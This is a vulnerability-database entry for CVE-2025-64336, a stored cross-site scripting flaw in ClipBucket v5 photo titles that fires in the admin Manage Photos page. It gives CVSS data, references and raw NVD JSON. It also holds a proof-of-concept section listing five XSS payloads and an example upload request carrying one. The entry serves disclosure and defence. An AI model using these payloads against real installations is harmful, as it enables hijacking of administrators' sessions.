CVE-2025-64336

Description

ClipBucket v5 is an open source video sharing platform. In versions 5.5.2-#146 and below, the Manage Photos feature is vulnerable to stored Cross-site Scripting (XSS). An authenticated regular user can upload a photo with a malicious Photo Title containing HTML/JavaScript code. While the payload does not execute in the user-facing photo gallery or detail pages, it is rendered unsafely in the Admin → Manage Photos section, resulting in JavaScript execution in the administrator’s browser. This issue is fixed in version 5.5.2-#147.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:oxygenz:clipbucket:*:*:*:*:*:*:*:* - VULNERABLE

ClipBucket v5 <= 5.5.2-#146

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-64336 PoC - Stored XSS in ClipBucket v5 Photo Title
// Author: Security Researcher
// Target: ClipBucket v5 <= 5.5.2-#146

// Step 1: Register a regular user account on the target ClipBucket instance
// Step 2: Navigate to the photo upload functionality
// Step 3: Upload a photo with a malicious title containing XSS payload

// Example XSS payloads for Photo Title field:
// 1. Basic alert payload:
// <script>alert(document.cookie)</script>

// 2. Image onerror payload (bypasses some filters):
// <img src=x onerror=alert(document.domain)>

// 3. SVG payload:
// <svg/onload=alert(document.cookie)>

// 4. Body onload payload:
// <body onload=alert('XSS')>

// 5. Event handler payload:
// <input onfocus=alert('XSS') autofocus>

// The malicious photo title will be stored in the database.
// When an administrator visits Admin → Manage Photos section,
// the stored JavaScript code will execute in the admin's browser.

// Example HTTP Request (conceptual):
/*
POST /upload/photo HTTP/1.1
Host: target.com
Content-Type: multipart/form-data
Cookie: [regular_user_session]

------WebKitFormBoundary
Content-Disposition: form-data; name="photo_title"

<img src=x onerror=alert(document.cookie)>
------WebKitFormBoundary
Content-Disposition: form-data; name="photo"; filename="malicious.jpg"
Content-Type: image/jpeg

[image data]
------WebKitFormBoundary--
*/

// After successful upload, the XSS payload is stored.
// The vulnerability triggers when admin accesses Manage Photos page.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64336
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64336
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64336/
[4] VulDB https://vuldb.com/cve/CVE-2025-64336
[5] https://github.com/MacWarrior/clipbucket-v5/commit/8e3cf79ce2721fbebde68a05a9a1a6319f086bcc
[6] https://github.com/MacWarrior/clipbucket-v5/releases/tag/5.5.2-%23147
[7] https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-hjc2-5329-j49w

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64336", "sourceIdentifier": "[email protected]", "published": "2025-11-07T05:16:08.807", "lastModified": "2025-12-05T20:57:33.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ClipBucket v5 is an open source video sharing platform. In versions 5.5.2-#146 and below, the Manage Photos feature is vulnerable to stored Cross-site Scripting (XSS). An authenticated regular user can upload a photo with a malicious Photo Title containing HTML/JavaScript code. While the payload does not execute in the user-facing photo gallery or detail pages, it is rendered unsafely in the Admin → Manage Photos section, resulting in JavaScript execution in the administrator’s browser. This issue is fixed in version 5.5.2-#147."}, {"lang": "es", "value": "ClipBucket v5 es una plataforma de código abierto para compartir videos. En las versiones 5.5.2-#146 e inferiores, la función \"Manage Photos\" es vulnerable a cross-site scripting (XSS) almacenado. Un usuario regular autenticado puede subir una foto con un Título de Foto malicioso que contenga código HTML/JavaScript. Aunque la carga útil no se ejecuta en la galería de fotos o en las páginas de detalles orientadas al usuario, se renderiza de forma insegura en la sección Admin ? Manage Photos, lo que resulta en la ejecución de JavaScript en el navegador del administrador. Este problema se corrige en la versión 5.5.2-#147."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oxygenz:clipbucket:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.3", "versionEndExcluding": "5.5.2-147", "matchCriteriaId": "31214EBB-325C-478D-9E78-FACDB17B17D2"}]}]}], "references": [{"url": "https://github.com/MacWarrior/clipbucket-v5/commit/8e3cf79ce2721fbebde68a05a9a1a6319f086bcc", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/MacWarrior/clipbucket-v5/releases/tag/5.5.2-%23147", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-hjc2-5329-j49w", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}